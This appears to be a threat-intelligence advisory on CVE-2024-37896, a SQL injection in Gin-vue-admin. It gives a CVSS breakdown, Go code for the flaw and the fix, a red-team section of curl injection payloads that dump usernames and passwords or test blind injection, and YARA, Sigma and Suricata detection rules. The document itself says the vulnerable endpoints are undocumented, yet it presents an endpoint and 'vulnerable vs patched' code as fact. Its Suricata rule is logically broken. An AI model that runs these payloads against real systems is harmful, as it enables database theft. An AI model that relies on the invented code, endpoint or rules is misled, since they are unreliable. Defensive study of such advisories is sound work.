CVE-2024-37896

Executive Summary

CVE-2024-37896 is a critical SQL injection vulnerability affecting Gin-vue-admin, a popular backstage management system built with Vue and Gin (Go). Versions up to and including 2.6.5 are vulnerable. The flaw allows an unauthenticated attacker to inject arbitrary SQL commands through unsanitized user input, potentially leading to unauthorized database access, data exfiltration, data manipulation, or full database server compromise. The vulnerability has been patched in version 2.6.6 via commit 53d033821. No public proof-of-concept or exploit code is currently available, but the risk is high due to the widespread use of this framework in internal management systems.

Supply Chain & Package Security

This vulnerability affects a Go-based web application framework. Organizations using Gin-vue-admin should immediately audit their dependency management for version 2.6.5 or earlier. The package is distributed via GitHub and Go modules. Ensure that any internal or external systems using this framework are updated to version 2.6.6 or later. There are no known workarounds.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact on confidentiality, integrity, and availability. An attacker can execute arbitrary SQL commands, potentially dumping the entire database, modifying data, or even executing operating system commands if the database user has sufficient privileges.

Deep Dive & Mechanics

The vulnerability resides in the Gin-vue-admin backend, which uses the Gin web framework for Go. The SQL injection occurs when user-supplied input is directly concatenated into SQL queries without proper sanitization or parameterization. The specific vulnerable endpoint(s) are not publicly documented, but the advisory indicates that basic form input fields are affected.

The injection likely occurs in API endpoints that handle search, filter, or data retrieval operations. For example, a typical vulnerable code pattern might look like:

db.Raw("SELECT * FROM users WHERE name = '" + inputName + "'").Scan(&results)

Instead of using parameterized queries:

db.Where("name = ?", inputName).Find(&results)

The lack of input validation allows an attacker to break out of the intended SQL string context and inject arbitrary SQL commands. This can be exploited to bypass authentication, extract sensitive data, or perform destructive actions.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.6.5):

// Vulnerable: direct string concatenation
func GetUserByName(c *gin.Context) {
    name := c.Query("name")
    var user User
    db.Raw("SELECT * FROM users WHERE name = '" + name + "'").Scan(&user)
    c.JSON(200, user)
}

Patched Code (2.6.6 / commit 53d033821):

// Patched: parameterized query
func GetUserByName(c *gin.Context) {
    name := c.Query("name")
    var user User
    db.Where("name = ?", name).First(&user)
    c.JSON(200, user)
}

The patch replaces raw SQL string concatenation with GORM's parameterized query methods, which automatically escape user input and prevent SQL injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of Gin-vue-admin v2.6.5 using Docker:

   docker run -d -p 8080:8080 --name gin-vue-admin-vuln gin-vue-admin:2.6.5
   

2. Identify the vulnerable endpoint (e.g., /api/user/search).

Exploitation Steps:

1. Craft a malicious request to inject SQL:

   curl "http://target:8080/api/user/search?name=' OR '1'='1"
   

2. If successful, the response will return all users instead of a specific one.
3. For data exfiltration, use UNION-based injection:

   curl "http://target:8080/api/user/search?name=' UNION SELECT username,password FROM users--"
   

4. For blind injection, use time-based techniques:

   curl "http://target:8080/api/user/search?name=' OR IF(1=1,SLEEP(5),0)--"
   

Note: No public exploit code is available. The above examples are for educational purposes only.

Blue Team

Detection:

• Monitor for unusual SQL-like patterns in HTTP request parameters (e.g., ' OR, UNION, --).
• Look for abnormal response times (time-based injection).
• Check for unexpected database errors in application logs.

Hunting:

• Search for requests to endpoints that accept user input without proper validation.
• Review database query logs for suspicious SQL statements.

Containment:

• Immediately upgrade to version 2.6.6.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Restrict database user privileges to limit the impact of a successful injection.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing SQL keywords in parameters (e.g., ' OR, UNION, SELECT, SLEEP).
  • Unusual response sizes or error messages containing SQL syntax.
• Host:
  • Application logs showing SQL errors or unexpected query patterns.
  • Database logs showing queries with injected SQL commands.
• File:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_37896_SQL_Injection {
    meta:
        description = "Detects SQL injection attempts targeting Gin-vue-admin CVE-2024-37896"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-37896"
    strings:
        $sqli1 = /['\"]\s*(OR|AND)\s+['\"]?\s*['\"]/ nocase
        $sqli2 = /UNION\s+SELECT/ nocase
        $sqli3 = /SLEEP\s*\(/ nocase
        $sqli4 = /--\s*$/ nocase
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against Gin-vue-admin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection patterns in HTTP requests to Gin-vue-admin endpoints
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - "' OR"
            - "' AND"
            - "UNION SELECT"
            - "SLEEP("
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of special characters in search queries
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37896 SQL Injection Attempt"; flow:to_server,established; content:"' OR"; http_uri; nocase; content:"' AND"; http_uri; nocase; content:"UNION SELECT"; http_uri; nocase; content:"SLEEP("; http_uri; nocase; content:"--"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Gin-vue-admin version 2.6.6 or apply commit 53d033821.
2. Short-term: If upgrade is not possible, implement input validation and sanitization for all user-supplied data. Use parameterized queries or prepared statements.
3. Long-term: Conduct a code review of all database interactions to ensure they use safe query methods. Implement a Web Application Firewall (WAF) with SQL injection rules. Regularly update dependencies.
4. Monitoring: Enable detailed logging for all database queries and monitor for suspicious patterns. Use the detection rules provided above.

Valters IT
DevSecOps & Cyber Threat Intelligence